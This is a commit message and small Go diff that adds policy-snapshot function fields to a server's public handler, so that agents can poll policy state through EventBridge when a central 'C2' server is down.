Add EventBridge policy fan-out for standalone degraded mode.

Ship Lambda/EventBridge templates and a token-gated policy snapshot endpoint so agents can poll hospice, vaccination lanes, and genesis version when C2 is down, preferring EventBridge relay over 30m reconnect.

server/internal/api/public_handler.go

@@ -27,6 +27,8 @@ type PublicHandler struct {
 	dataDir       string
 	configFn      func() PublicBuildsConfig
 	erasureShards *erasure.ShardStore
+	policySnapshotFn      func() (PolicySnapshot, error)
+	policySnapshotTokenFn func() string
 }
 
 func NewPublicHandler(database *dbpkg.Database, dataDir string, configFn func() PublicBuildsConfig) *PublicHandler {